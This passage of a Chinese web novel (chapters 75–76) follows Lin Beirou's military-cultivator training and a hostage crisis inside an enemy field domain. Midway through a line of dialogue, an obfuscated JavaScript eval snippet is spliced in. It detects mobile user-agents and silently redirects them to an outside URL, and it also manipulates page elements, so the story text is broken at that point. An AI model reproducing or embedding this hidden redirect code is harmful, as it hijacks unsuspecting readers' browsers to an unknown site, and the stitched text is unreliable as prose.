林北柔渐渐回过味来。 荀照乘现在这样,才是基地特训总教官的样子,跟她说话,那是把她当需要军士保护的平民了,林北柔忽然明白了这一点,荀照乘压根就没把她当新兵在训练。 林北柔陷入沉思。 “你还要看多久。”旁边新垣鑫的声音不疾不徐地响起,带着一丝嘲讽。 75. 第 75 章 荀照乘一走,林北柔马上松懈了下来,转过来对新垣鑫说:“新垣少校,我想去洗手间。” 新垣鑫:“……快去!两分钟回来!” 林北柔原地站着没动,思考了两秒:“洗手间在哪里啊?” 新垣鑫这才想起,这边是没有女士洗手间的,洗手间都是通用,他皱了皱眉,想到不怕一万就怕万一的可能性,虽然不愿意多去想,还是认命一样对林北柔说:“我带你去,下次你自己去。” 林北柔:“谢谢新垣少校!” 她解下身上那些装备,动作有一点慢,新垣鑫抱臂在旁边看着:“你这个速度,要是在战场上,敌人已经把你抓了。” 林北柔:“他们抓不到我,我可以痛击他们。” 新垣鑫从鼻子里呼出一口气,扯起一边嘴角,明显发出嗤笑:“就你?你怎么痛击他们?” 林北柔:“消灵圈都制不住我,我一发动天赋,他们就僵在原地了。” 新垣鑫:“你刚才在荀照乘面前,也这么贫吗?” 林北柔眨着眼睛,闭上嘴保持安静。 新垣鑫预感到这次训练的头痛程度了,他扶了扶额:“快点收拾好。” 林北柔终于脱掉了装备,新垣鑫陪林北柔去了洗手间,他没让林北柔先进去,自己先进去吼了一嗓子:“里面有人没!” 然后就听到一声:“报告长官,有人!” 新垣鑫:“赶紧解决了出来!” 冲水声,洗手池哗啦啦的动静,烘干机的动静,一个收拾齐整的军士出来了,跟新垣鑫打了个招呼,目不斜视地出去了。 新垣鑫言简意赅:“快进去。” 林北柔进去了,出乎她意料,洗手间非常干净,没有一星半点儿那种她心理预期的不好气味,反而通风排气做得很好,还有干净的消毒水味。 当然,墙上有一排挂壁小便池,林北柔不是很习惯,移开视线直接进了隔间,三分钟解决,放下马桶盖,冲水,出来洗手,洗手液没有味道,很好。 新垣鑫跟一座门神一样杵在洗手间外面,有两个军士正要过来,看到他站在那,面无表情看向他们,被他气势所慑,止住脚步:“新垣少校,呃,我们要进去……” 新垣鑫十分冷漠:“暂时不能用,等一下。” 两个军士只好笔挺站在那,有点摸不着头脑,又不敢问是不是洗手间坏了。 一个穿简便修行样式裙裤的人出来了,还是长发,好奇地看了他们一眼,和他们对上半秒视线,恍然一瞥,明明连五官都来不及看清,却刹那让人感觉视网膜都要连着发烫,和脸颊一起发烫。 垂下眼皮仿佛是身体本能的条件反射。 新垣鑫对他们说:“你们可以进去了。” 两个人低头迅速进去了。 其中一个耳朵很明显有点红。 新垣鑫皱了下眉,他知道编号者的容貌都不同寻常,除了魏瑕,他还见过二号的资料档案,二号不是华夏血统,是欧洲人,新垣鑫在境内土生土长,对外国人没有什么审美触角,看到资料上的脸,就像翻到西方历史图文上的博物馆雕像一样,也并没感到触动,他注意到的是资料上记载的,二号仅仅凭容貌和气质,就对周围的人产生的影响力,以及因此招致的命运。 资料上记载,当时见过二号的人都说,二号有种超越性别的神性之美,很像启示录上记载的大天使,她的性情和品格更是如此,还有令人震惊并且无法伪造的显圣事迹,这也是为什么敌对势力要刺杀二号的原因,不计其数的人相信,二号是人子血脉后裔,因此前往二号所在地朝圣,她身边聚集的修行者信徒,实在是太多了。 直接威胁到了应劫派,其中最大的那几大组织。 所以他们刺杀了二号。 他们成功了。 新垣鑫看过二号的死亡调查报告,觉得这种事有种不祥之兆,何况林北柔现在身上还真的穿着曾经属于二号的修行服。 他们做到了一次,就会不断尝试第二次。 他们能杀二号,就能杀林北柔,这世界上就没有什么是他们不敢做的,那些已经不能称之为人的东西,没有任何底线。 新垣鑫觉得有必要去催促一下,让他们尽快把林北柔自己的制服赶出来。 在那之前。 “你得习惯戴面罩。”新垣鑫的声音响起。 林北柔正跟在他旁边走,听到他冷不丁跳到一个不相干的话题,有点没反应过来,停了半秒才疑惑:“为什么?在室内也要戴吗?” 新垣鑫给了她一个仿佛她问了一个空调师傅“师傅你是做什么工作”的眼神。 很显而易见,新垣鑫和荀照乘就戴着面罩,一丝不苟的那种,其他大多数军士也一样,面罩下方在下颔位置有个折叠设计,可以掀起来,喝水或者吃东西,但也是挡住嘴的,就像遮阳板一样。 荀照乘只在带林北柔去当初湖边的补给站时,摘下过面罩,自从回来后,他也是只露出一双眼睛。 林北柔马上调整问题:“为什么在室内也要戴面罩?” 新垣鑫:“这是规矩,保证你随时可以展开战斗,万一敌人突然发起突袭呢,瘴气弹是很常见的武器,面罩是特制的,可以屏蔽掉几百种专门麻痹修士元神的瘴气,最重要的是挡住你的脸,应劫派的内奸就在组织里,让他们看清你的脸,你就麻烦了,他们可以冒充你。” 林北柔看向新垣鑫,他戴着头盔和面罩,一双眼睛锐利有神,黑白分明,眼形跟荀照乘比起来,略微下垂一点,睫毛在眼尾更浓,有那种狗狗眼的感觉,但眉眼却完全没有不会让人觉得奶气,反而因为很板正,有种底盘很稳的气势,不笑的时候很唬人,目光直线且专注,盯着人的感觉像是狙击手,眼睛之间山根很高,面罩下的突起显示他的鼻梁也很高。 他脸上没有那种魏瑕或者莫衡这些世家修士的气质,可以看出出身很平凡,习惯接受命令,执行任务,稳扎稳打,也不靠关系,纯靠命悬一线的任务成功率,因为常出任务,身上总是有硝烟、金属和尘沙的味道,非常朴实,不吸烟不喝酒,极度自律,身上有不少旧伤,但痊愈得很快,正当盛年,各项体能和体质指数优秀,是基地最标准的那种军士修行者典范。 世家暗暗看不起他们,觉得他们是工具人。 荀照乘和新垣鑫一样,没有背景,所以在记忆中,虽然他和魏瑕很熟,却称不上朋友。 之前来基地的路上,林北柔能感觉到荀照乘和新垣鑫关系更近,也更容易打开话题。 林北柔:“没人能冒充我吧……” 新垣鑫冷冷说:“你怎么知道?那些人的手段,你没见识过,我们是在和最没有底线的战犯打交道。” 资料上记录,他们正是成功冒充了二号身边一个近卫,才得手的。 这也是新垣鑫看了资料后就一直在意的一点。 更何况,现在还有一大批飞行器上的学员被关在另外一个营地,因为袭击者成功混进去了,而他们现有手段无法找出谁是袭击者。 营地内的学员们情绪都很不好,他们就像犯人一样被监管着。 袭击者采取了休眠定时炸弹模式,自己都不知道自己是袭击者,只有进入了禁区后,才会用某种方式激活,对他们造成毁灭性打击。 现在,组织高层遇到了难题,那些学员一大半是世家出身,世家们纷纷要求放人,遭到了铁血派高层的反驳,两边暂时找不到一个解决方案,局面冲突不断,就像缓慢加热即将沸腾的滚油。 新垣鑫眉头皱得很紧,都拧成个川字了,林北柔不知道他在想什么生死攸关,觉得是不是自己刚刚问错了问题,要不说点轻松的吧。 林北柔:“新垣少校,那你洗澡会摘面罩吗?” 新垣鑫以为自己耳朵听错了,转过来看向林北柔,看到她的表情,才确定他没听错。 他头一回被人这么‘调戏’,偏偏林北柔一脸一本正经,好像这是个科学探讨,让新垣鑫想发作也无从发作起,只能归结于这人是不是缺心眼,冷冷看着她:“我没听清呢,你再说一遍?” 林北柔看到他神情,也意识到这个问题太过了:“我开玩笑的……” 新垣鑫重重呼了口气,胸膛起伏了一下,一言不发继续朝前走,他步子很大,林北柔要加快步伐才能跟上。 人都是好奇的,什么东西越是挡起来,林北柔越是想看。 这种制式面罩遮盖严严实实,只会露出两眼之间和眼皮周围的一小部分皮肤。 能看出新垣鑫的皮肤底色偏浅桐色。 林北柔觉得看惯了司空晏,这种健康肤色很不错,有种阳间活人感,像每次林子倩带她去的那家开了二十多年的茶餐厅,每次林子倩给她点的冰奶茶,锡兰高地红茶冲出的醇香带苦,装在铜锤纹金属杯里。 新垣鑫强烈感觉到自己被林北柔直直盯着,她的眼神里只有好奇,很明显在好奇面罩下他的长相。 新垣鑫看向前方,有一丝只有他自己觉察到的僵硬,他想教训林北柔,让她有点新兵的自觉和规矩,但最终忍住了,没开口。 提醒了反而让他感觉更不顺气,好像他很在意这种鸡毛蒜皮。 于是新垣鑫直接省略,只冷硬严厉地说了句:“丑话在前,我比荀照乘更严,你最好做好心理准备。” 林北柔:“新垣少校,我能问个问题吗?” 新垣鑫喉咙一口气隐隐哽住,要换其他人这么用问题回答他的训诫,他早就直接让他们滚出去跑圈了。 但对林北柔,他有一种无力感。 这种无力感来得很奇怪,根本无从解释。 新垣鑫从来不习惯在不必要的事情上多想,能让他动脑子的就除了执行任务,就是任务之前各种准备工作。 在还没决定采取什么态度批评她之前,新垣鑫就听到自己以一种他都不熟悉的隐忍语气说:“问。” 林北柔:“为什么我非要用那些我不熟的法器?一个月时间就要掌握?” 新垣鑫眉毛略微扬起,刹那间忍住了开口训斥她的第一反应。 他深深吸口气,觉得自己似乎已经产生了免疫,对林北柔的问题开始麻木了:“……你觉得是为什么?” 林北柔:“新垣少校,我的意思是我并不擅长那些,我擅长的是发动天赋,用天赋攻击敌人,也许现在应该集中开发我的天赋?” 新垣鑫从来不知道自己居然还有这么耐心的一面。 此人,对现世修行者世界一无所知。 他现在感觉就像一步步教小学生这道题选A还是选B,答案都给小学生算好了,结果小学生说自己不知道ABCD里面哪个字母是B一样。 新垣鑫决定当一个人机,只需要像人工智能一样回答用户问题就行,不要情绪起伏。 在基地里待了这么久,不管是领导还是同事还是部下,都没有人让他产生过这么全新的想法。 很好。 他看着林北柔,缓慢地说:“你和其他编号者不一样,你没有从小就接受修行训练,体质跟不上,要一个月之内境界突破,只有让其他编号者来引导你,就像传火炬一样,只有一个火炬去点燃另外一个火炬,本来你跟着魏瑕,应该他引导你突破境界的,但现在他失踪了,除了等他回来,没有别的办法。” 林北柔:“那为什么还要让我进禁区?” 新垣鑫:“禁区里的灵气是外面的成千上百倍,你在禁区里面会被动突破,这种事有先例,三号就是这样,这是万不得已的备选方案,因为在禁区突破相当危险。” 林北柔跟着新垣鑫练习了一下午的射击课程,还练习了战术走位。 林北柔觉得自己进步已经是神速了。 但新垣鑫对她的瞄准很不满意,直接开大嘲讽:“你的射击简直烂到我懒得评价。” 林北柔移开视线。 新垣鑫:“你那是什么表情,还不服气是不是。” 林北柔:“没有不服气。” 之前还能每一句加上少校,现在直接不加了。 新垣鑫有点气笑:“看我示范。” 接下去五分钟,他给林北柔示范了一次完整的禁区环境模拟战斗射击。 什么叫弹无虚发,林北柔算见识到了,很多时候她感觉新垣鑫纯属凭感觉射击,他好像都不用眼睛看,关键是做这一切的时候,新垣鑫很明显并没有用全力,他就是纯粹给林北柔示范。 新垣鑫扛着法器随意走回来时,隔离网外早就聚集了其他人来围观。 “看什么看,滚回去训练!”新垣鑫一嗓子把他们吼散了。 林北柔:“……” 新垣鑫冲她皱眉:“自己没做到位的地方,刚刚看清楚了?” 林北柔低头挨训,她本来就没接触过这种法器,以前在胜身洲,她都是跟着司空晏练剑的,从来没用过弓啊。 但在学战术走位时,出乎新垣鑫意料,林北柔不需要教。 她好像天生就会。 新垣鑫该肯定的时候不会吝啬:“你这方面天赋还可以,可能上辈子山羊,能上悬崖吃草。” 林北柔:“谢谢少校夸奖。” 怕林北柔翘尾巴,新垣鑫又面无表情紧跟着补充:“不过不会用聚能法器是硬伤,在禁区,你会遇到各种场域,限制你直接发动天赋,不然你以为这种高效转化灵力的定向聚能法器为什么被发明出来?否则所有人都可以跟修仙小说一样乱砸灵力互相对轰。” 林北柔没脾气了:“……好的,少校。” 新垣鑫:“明天你继续练战斗射击,高速位移目标射击,隐显目标射击,射程距离拉大,在野外露天实操,场地模拟禁区环境会调到最高参数值,你做好心理准备,陪练们都是上过战场的,实弹操作。” 林北柔大惊失色:“啊?实弹操作?那打到我身上……” 她缩头缩脑地看了新垣鑫一眼,一脸反战的表情。 新垣鑫嘴角微微抽搐,实在忍不住了:“没见过哪个编号者连训练都怕的!你穿着防御衣,又不会有生命危险,最多把你打到全身淤青,连这种攻击性能最低的训练灵力弹都怕,真进了禁区,你怎么对付敌方那些高阶灵力弹?” 要不是知道了林北柔在食堂发动天赋,以一打五,消灵圈满了三格人还清醒着,新垣鑫根本不信林北柔是四号。 荀照乘在总司令官的办公室待到了下午,谈话全部集中在这一批被看管的学员身上。 总司令官来问他是怎么想的,该怎么处置那一批学员。 总司令官脸上看不出任何东西,只陈述目前局面:“一直关下去,世家那边会向太微垣施压,太微垣会让基地把人放了,把他们放了,原地遣返,袭击者会直接渗透世家内部,把他们按照原计划送进禁区,袭击者会里应外合,摧毁我们。” 荀照乘:“先关着,等到了禁区开放那天,直接送进去。” 他这一句话说得没有任何起伏,连旁边一向扑克脸的秘书都眼神变了变。 荀照乘根本没有考虑上述三种方案。 他直接给出第四种:“两两分为一组,同伴有任何可疑举动,队友都有解除对方行动能力的权限,剩下的人再打乱两两一组,就这样,直到最终只剩下一个人,那个人就是袭击者,主要队伍和他们保持距离,远程监控,若有异动,也一律让狙击手解除行动能力。” 办公室内一片死寂。 荀照乘的话,已经犯了修行者法条了,不能传出这间办公室,秘书垂下眼,只当什么都没听到。 总司令官语气很慢:“六十七条人命。” 荀照乘:“六十三条,之前放了四个世家的人,他们来自有非凡传承的世家,元神上有徽记,袭击者无法冒充。” 总司令官:“六十三条人命。” 他的眼神落在荀照乘身上,荀照乘一点表情变化都没有,如果林北柔在场,就会发现荀照乘现在的样子,非常接近那个青年兵修,分析问题不掺杂任何道德和感情,只用最一刀见血的方式,百分百解决问题。 正常人肯定会觉得残忍狠毒的那种。 荀照乘没有说话,上级问,他就答,至于方案执不执行,那不是他的职责范围。 回去后,荀照乘远远看到新垣鑫正在带林北柔做实战训练,旁边是待命的陪练,他们刚练完一轮,新垣鑫正在跟林北柔说她哪些地方做得不到位,估计是批评太凶了点,林北柔嘀咕了两句什么,类似不大服气,新垣鑫额角跳起青筋,抬手就在她头盔上敲了个爆栗,林北柔捂着头盔退后半步,震惊的重点不同:“少校,你手不痛吗……” 半天不到,他们似乎相处得就比之前在车上赶路那两天还要熟了一点。 可能是新垣鑫话更多一点,人更容易接近一点。 新垣鑫捏紧指节,感觉自己快要给气死了,没谈恋爱没结婚没生孩子,却体验到了家长辅导小学生写作业两眼一黑的心梗。 当他看到荀照乘幽灵一样站在不远处阴影下方看着他们时,感觉到一阵放松,同时是更大的恼火,荀照乘脸色里有一种让他陌生的异样,近乎……阴暗? 这是他在他这个同事脸上没见过的,这导致新垣鑫心里也起了一丝怪异感,也许在元神深处,他凭本能隐约觉察到了对方此时的情绪,但新垣鑫此时的表意识无法解读,他只是感觉到有一层奇怪的距离。 于是新垣鑫皱起眉:“你站那干嘛?自己回来教!我教不了了!” 也就是在这个时候,大地传来一阵震感,所有人都站立不稳了半秒,林北柔身体一晃,新垣鑫本能一把扶住她胳膊,扭头震惊看向远处。 震感抵达最强,伴随扬上半空的尘沙,还有透明的结界层波荡,连肉眼都能看见,因为它们把平滑的天空截断成无数块,好像苍穹突然四分五裂开片了一样,新垣鑫来不及思考了,冲荀照乘喊:“是二号营地方向——” 荀照乘也看见了。 二号营地,即是关押混入了袭击者的学员们的营地。 他刚才还停顿在一种看到林北柔和新垣鑫关系熟悉起来产生的……奇怪阴暗情绪中?这股情绪很陌生,不像他自己的,强烈汹涌,在他胸骨奔突,但现在没时间思考了。 警报声轰鸣回旋,警备军士成排冲向二号营地,荀照乘拿起通讯终端,给几个负责人下了命令,然后通知了上级,和新垣鑫他们一起赶了过去。 林北柔是稀里糊涂被拉上趟的,等她反应过来时,她已经被不知道的谁的胳膊提溜到后座上了,这辆软车顶军用多用途车载着一车精英三分钟不到就风驰电掣赶到了二号营地,到了之后,现场一片混乱,荀照乘在驾驶座上,新垣鑫在副驾驶座上,两个人同时下车,拉开左右边车门,让林北柔快下车,林北柔左右看看,下意识选了荀照乘那边,跟着其他人一起下去了。 刚下去就听到附近一声震惊怒骂,林北柔抬头看向前方。 大概半公里开外。 一处很大的营地,建筑只有一层,土色,和周围环境几乎融为一体,但一道泾渭分明的界线,将它隔离在外,和其他基地建筑分开。 界线内,连土地都染成了黑色,营地被迷雾笼罩,看不清里面的情况,界线外,结界震荡余波还没结束。 这条界线还在缓慢向外寸移。 新垣鑫在林北柔旁边,语气凝重:“是场域。” “有人在营地内打开了场域?” “设备拿来!快!检测污染级别!” 周围人不断动员,荀照乘和新垣鑫参与了指挥,情况乱中有序,林北柔什么也做不了,只好靠在军车旁边看着,这辆军车旁边成了临时指挥点。 一个熟悉的身影带人抵达了现场,林北柔眼前一亮,是之前见过的女将军,林北柔之后知道她姓庞。 “胖将军!”有个带方言口音的军士匆匆跑了过去,要不是现场情况严峻,林北柔心情也紧张,她肯定会笑出声。 “怎么回事?”庞将军站到了临场指挥官的位置,沉稳接管现场,脸上表情很平静但很严肃。 “营地内部有人展开了场域,我们怀疑是袭击者本人,现在内部情况未知,很可能所有学员都被他挟持成了人质。” 庞将军的表情让人看不太透,她缓缓说了句:“能展开场域的修行者,只有编号者。” 一阵窒息的沉默。 林北柔下意识想到的是魏瑕,什么意思,魏瑕在营地里展开了场域?但那怎么可能? 庞将军对荀照乘说:“昨天你在总司令官的办公室,跟他说的那些,还有谁知道?” 荀照乘:“三个人,我,总司令官,秘书。” 庞将军:“姜秘书不可能。” 他们对话声音分贝不大,林北柔站在旁边才听得清楚。 庞将军接过副手递来的眺望镜,静静地望了一会儿前方不断升腾的迷雾,那些灰雾渐渐越来越浓,变成半黑,这样下去,他们很快会失去营地视野。 有人气喘吁吁地跑来报告了污染等级,林北柔听不懂术语,但从周围人脸色看出,污染等级非常高。 同时,林北柔从未见过的重型装置被运了过来,这些装置每隔一段距离安置一个,形成一道弓形,冲天的光芒散开,三重结界阵法展开,抵御即将侵蚀过来的黑□□线。 “庞将军,总司令要跟你通话。”副手递来通讯终端。 庞将军对着通讯终端说了几句,很简短:“可能是陷阱,……好的,我明白了。” 副手询问:“将军,里面的人会不会是一号?” 庞将军:“不确定,一号本身的场域不是这样,但不排除伪装的可能性。” 一个可怕的猜想在众人心中扩散,但所有人都保持了缄默,没有人说出口。 林北柔看着他们的脸色,感觉到事情比她想的还严重。 庞将军:“名单拿来。” 副手干脆利落调出名单,庞将军点了大概二十个精锐,其中就包括荀照乘和新垣鑫,所有被点到的人全部开始利落地穿上装备,应急战术专家在旁边语速飞快地布置战术,反复强调任务目标是清理污染源,解除场域,尽可能获取里面全部情况,不到两分钟他们就必须出发。 林北柔看着荀照乘和新垣鑫,露出我现在是怎么办的表情,荀照乘给了她一个眼神,新垣鑫更直接,利用整装间隙,过来飞快说了句“你留在庞将军旁边,别乱走”。 十分钟后。 前方荀照乘通过通讯终端发回消息:“界壁太厚了,装备无法刺穿,小队进不去。” 僵局出现了,敌方展开的场域,他们进不去,他们展开的结界,敌方的场域也暂时突破不了,界线扩张到离结界两百米的位置就停下了。 庞将军点点头:“看来他们的目的并不是袭击整个基地。” 副手:“因为他们不会有胜算。现在怎么办?” 庞将军: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13879333|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等。” 他们并没有等太久,没有任何准备的情况下,一个失去意识的人被扔了出来,背上贴着一张纸,纸上有字。 这个人是营地本来的执勤守卫之一,荀照乘他们快速检查了他全身,新垣鑫把纸张封装起来,让人带去给庞将军。 “没有受伤,元神被污染了,修为池破损严重。” 通讯器里传出了荀照乘的声音,庞将军听着,然后说:“检测出对方灵力了吗,可以确定是一号么。” “未检测出,不确定,对方手法很干净,已经安排送去急救了。” 林北柔身上仿佛有一根神经绷紧了,她能感觉到周围的空气也绷紧了。 所有人都知道,污染元神的手段曾经出现过,就发生在莫衡身上,所有人都认为嫌疑人是魏瑕。 林北柔看到过骊龙珠里的记忆,她也知道,这件事确实是魏瑕做的。 “……庞将军,莫少将到了。”旁边有人低声说。 说谁,谁到。 莫衡在基地职责不同,自从退出前线,他参与的是更加高级的战术决策,成天都在作战中心开会,和需要实地执行任务的荀照乘新垣鑫他们不一样,他不用成天戴面罩,林北柔现在看到他那张脸,就感觉相当不自在。 莫衡的视线落在她身上,停顿了三秒。 林北柔更是感觉很不舒服,他眼睛里的东西,就好像她欠了他一样。 他看起来跟荀照乘新垣鑫他们不一样,确实不太像成天风吹日晒执行任务的,反而更像个什么高级研究员,头发更长,在脑袋后面扎成一个揪,再戴个金属边眼镜就更像了,林北柔不是很相信这样面相的人。 莫衡移开视线,转向庞将军:“将军。” 庞将军正在看那张纸,脸色看不出在想什么,只是看的时间比平时久一些,看完之后把纸张交给了莫衡,林北柔也看清了纸张上写的是什么。 ——“让四号进来,否则,营地学员全死。” 林北柔:“……” 她就是四号。 林北柔身体因为肾上腺素急速上升而隐隐发烫,同时感觉临时指挥中心里,四面八方的目光聚集在她脸上。 莫衡突然开口:“林北柔还算不上四号,她没有突破境界,这是个陷阱,她进去后,只会让敌人得逞。” 林北柔脱口而出:“我可以!我要进去!” 她这句话清晰又大声,所有人都听到了她,包括通讯终端另一边的荀照乘和新垣鑫。 新垣鑫的声音当场在通讯器里响起,因为分贝骤然提高而伴随轻微的电流声:“不行!太危险了!”一样都是反对,但他的反对和莫衡的反对,给林北柔感觉就是不一样。 荀照乘的声音也响起,语气就像今天训练她的时候一样,指令感很强:“林北柔,不行。” 林北柔没吱声,一脸不服气。 庞将军没有受到其他人的影响:“这是一场人质解救行动,叫荀少校和新垣少校回来,开个战术会议。” 庞将军和她副手,两个战术专家,荀照乘和新垣鑫,还有莫衡和他带来的一个高级文职人员,开始开会,林北柔就站在旁边当背景板,她目光在众人之间扫来扫去,落在庞将军、荀照乘和新垣鑫身上时间长一点,基本不去看莫衡。 庞将军:“总司令的态度是,必须把人质救出来,否则这一群学员全部死亡,他们背后的世家必然彻底倒向应劫派,因为世家不会再相信我们的能力,太微垣会对决策层做出调整,我们很可能会失去禁区权限。” 众人安静听着,庞将军继续说:“至于怎么发生的,之后再追究,昨天女娲基地派人过来视察了学员,提出想将女生接去女娲基地监管,今天就出事了,基地已经派人去女娲基地找人,看能不能得到一些有用线索,现在,我们得立即制定一套人质援救方案。” 莫衡开口:“将军,确定了里面的敌人是谁,才能确定应对方案,我认为里面的人就是失踪的一号。” 林北柔的反应是去看荀照乘,荀照乘面罩上的眉眼一点表情都没有,完全不受影响,看样子不知情。 庞将军:“你如何确定?” 莫衡:“刚才调查员从界线边缘提取了一些污染物,和伪印产生的污染物测定一致,” 庞将军耐心地说:“伪印这件事背后并没有明确证据指向一号。” 莫衡:“有。”他望向林北柔:“调查员报告都出来了,飞行器上有录音,林北柔把当时造成污染的伪印拿走了。” 林北柔没想到他忽然在这个时候发难,当场反驳:“我没有。” 莫衡拿出一支录音笔,林北柔顿生不详预感,莫衡按下播放,截取过的对话片段清晰响起。 “……我帮你,你就帮我把伪印是魏瑕制造的证据,交给我。”这是莫衡的声音。 “你怎么帮我?”这是林北柔的声音。 林北柔无比错愕望着莫衡,这段对话她早就忘记了,毕竟她后来反悔了,没有再进行这项交易,没想到莫衡录了音。 她记得她当时检查过,周围不可能有录音笔。 每个人都看着林北柔,林北柔无瑕去分辨他们的表情,也无瑕去想莫衡用什么手段重现的对话,余光感觉到只有荀照乘和新垣鑫对她没有审判的态度,而庞将军正直直看着她当着庞将军的面,林北柔知道自己不能说谎。 她还穿着二号的衣服,她不想让庞将军失望。 林北柔对莫衡从不舒服彻底转化成了敌意。 ……好深的心机,怪不得一直没找她算账。 原来在这里等着。她甚至庆幸,林子倩不用再和他们家打交道了。 林北柔冷静地解释:“庞将军,我后来查了,发现那个证据是假的,所以我没有交给他,我查到的是,一号没有制造伪印,伪印是其他人制造的,莫少将认为是一号污染了他的元神。” 说话是一门艺术,伪印确实不是魏瑕制造的,但莫衡的元神确实是他污染的,林北柔没有说假话,她只是把语序和主语换了一下。 造成的效果就截然不同了。 莫衡盯着林北柔,林北柔头一次感觉他目光里有种缓缓渗出的东西,让她头皮略微发麻。 荀照乘向前移动了两步,不知道是不是凑巧,刚好隔断了莫衡看向林北柔的视线。 庞将军直截了当切了话题:“两种假设,第一种营地内确实是一号,第二种营地内是其他未知袭击者,我们要做最坏的打算,那个能展开场域的袭击者,大概率是编号者。” 林北柔心下暗松口气,抬眼发现新垣鑫正冲她皱眉,他抱着手臂,面罩上浓眉纠成一团,好像对她很不满。 林北柔移开视线,假装没看见。 莫衡带来的那个文职高层皱眉:“庞将军,这不可能,我们的结界矩阵是海水陆空四栖防御,再加上虚空防御,境外编号者一旦进入范围,就会引发警报,更不可能通过空间传送过来,除非这个世界的法则全部被推翻,物理定律也全部改写,那这仗也没必要打了,敌人直接在实力底层升维,打我们就像枪炮打冷兵器,没必要玩这些花招。” 庞将军点了点头表示同意,稳稳地说下去:“老刘,真假不重要,方案必须全部覆盖,既然对方想让四号进去,那我们就得让四号进去,把目前已知所有境外编号者资料调出来。” 林北柔心脏在加速跳动,里面那个人真的是魏瑕吗?直觉告诉她没那么简单。 但如果不是魏瑕,场域又怎么解释? 趁众人讨论战术,林北柔决定了一件事,她趁庞将军在听副手和战术专家讨论时,轻轻靠过去,低声说:“庞将军,我想回天驷寮拿一件东西,可以吗。” 庞将军注视着她:“骊龙珠?已经收回去了。” 林北柔知道骊龙珠肯定被回收了,不然那天荀照乘也不会赶在回收之前让她读取里面属于魏瑕的记忆。 林北柔摇头:“是另外一件东西,呃,有点像幸运符,能增加任务成功概率。” 她自己都觉得这听起来像胡说八道,以为庞将军会拒绝她,结果庞将军压根没在意,只说:“让荀少校带你去,三分钟快去快回。” 三分钟后。 荀照乘打开天驷寮的门,林北柔快步冲了进去,到处喊兔子。 林北柔早就产生了一个近乎确定的猜想,灰兔就是司空晏的精神体,它曾经在水下一闪即逝露出过真形。 精神体绝不会随意脱离本体,除非本体意识进入休眠,或者遭遇了什么意外情况。 灰兔没有出现,没有如预料的一样,从不知道哪个角落冲出来一只毛团,炮弹一样撞到她小腿上。 林北柔感觉到身体一阵发冷,她迅速全屋搜索,灰兔不见踪影。 精神体不见了,司空晏……魏瑕,出事了。 不是假装失踪,也不是盘踞在哪个阴暗的角落下一盘大棋,林北柔产生了一种近乎预兆的强烈直觉。 祖宗这次好像翻车了。 “林北柔,该回去了。”荀照乘说。 回去路上,见她脸色不对劲,荀照乘以为她是在害怕待会要进去,开口说:“进去之后,我和新垣鑫会保护你,你不会受伤。” 他们已经回到了刚才的指挥点,还差五十米就到,林北柔拉住荀照乘的胳膊,声音压低:“荀少校。” 荀照乘看向她:“什么事?” 林北柔:“营地里面那个展开场域的,不是魏瑕。” 荀照乘沉默了一下:“你想说什么?”是或者不是,对他来说一点不重要,他的生活就是大量单调重复的执行任务。 林北柔终于问出了那个问题:“荀少校,魏瑕在哪里,你知道吗?” 她直直看向荀照乘的眼睛,在那双浓如琥珀的深棕色眼睛里寻找一丝半点漏洞,然而荀照乘眼神没有一点闪烁,很直白地说:“不知道,我和魏瑕仅共事过,对他私人生活不了解。” 林北柔能感觉到他没有说谎,问题更严重了。 荀照乘是司空晏的凡身,却感应不到司空晏去了哪里。 ……司空晏当初为什么要把凡身给分出来? 但是荀照乘给她感觉太熟悉了,他就是另一个司空晏,一个不曾卷入诡谲恐怖命运踏上道途的普通人司空晏。 荀照乘:“林北柔,不要去想其他的,先完成眼前任务,否则进去之后你会很难保护自己。” 林北柔下意识回:“少校,你刚才不是说不会让我受伤吗。” 荀照乘想了想:“我不会让你受伤,但你要是自己绊一跤,我不会拉你起来。” 林北柔:“……”她头一回发现荀照乘也会讲冷笑话,更可怕的是他说这些的时候,一点阴阳怪气都没有,还是那副扑克牌杀手脸。 十五分钟后,林北柔换上了战术制服和装备,跟着荀照乘和新垣鑫他们来到了界线边缘。 新垣鑫拿起专用传音器,很冷硬地对里面说:“四号到了。” 刹那间,黑□□线消失了一截,刚好容一个人通过。 荀照乘打了个手势,示意精锐小队按顺序进入,他和新垣鑫一前一后,将林北柔夹在中间,林北柔前面是荀照乘的背影,后面有新垣鑫跟着,不禁安全感爆棚,眼前一黑,就进了界线。 刚刚进去,林北柔就听到了一个无比熟悉的阴凉调子。 “玩得高兴吗,林北柔。” “……本座的,心誓道侣。” 76. 第 76 章 阴间祖宗的声音只响起数秒,就消失了。 林北柔浑身血液都往脑袋上冲,接着她忽然意识到,周围一片漆黑,前方后方左右,都没有人了,就好像处于一片茫茫虚空。 不对。 场域是一个修行者展开的元神级结界领域,和修行者的神识直接连通,在场域内,场域主人就是创始者,制定一切法则。 场域主人可以勾动人内心深处的妄念和贪执,心魔一动,闯入者就会陷入自己脑子制造的幻觉中。 刚才那声召唤,是林北柔想象中的司空晏。 她听到的是幻听。司空晏不可能真的在这里。因为灰兔失踪了。 林北柔冷静下来,更加仔细感知了一番。 这里没有阴间祖宗的味道。 那种天寒地冻,霜雪细细簌簌落在白梅蕊心的彻骨寒凉之意,极寒下蕴藏着幽浮余烬,下一秒又像一切都会被焚烧殆尽。 “哎……”她听到一声叹息。 很陌生,属于活人,但不是司空晏。 林北柔当场止住脚步,这声音就像在离她只有十来步开外响起。 这个声音说话了。 “你就是四号?你跟我想的不一样。” 不是林北柔的母语,奇怪的是,林北柔居然听懂了他每句话的意思,就像两个人直接在用元神沟通,不需要借助语言媒介。 林北柔:“你是谁?” 对方思考了两秒:“那个我们力量来源的地方,我是你的兄弟,你是我的姐妹,我的位序比你靠前一位。” 林北柔心脏猛地跳动了一下,因为紧张。 林北柔:“……你是三号?” 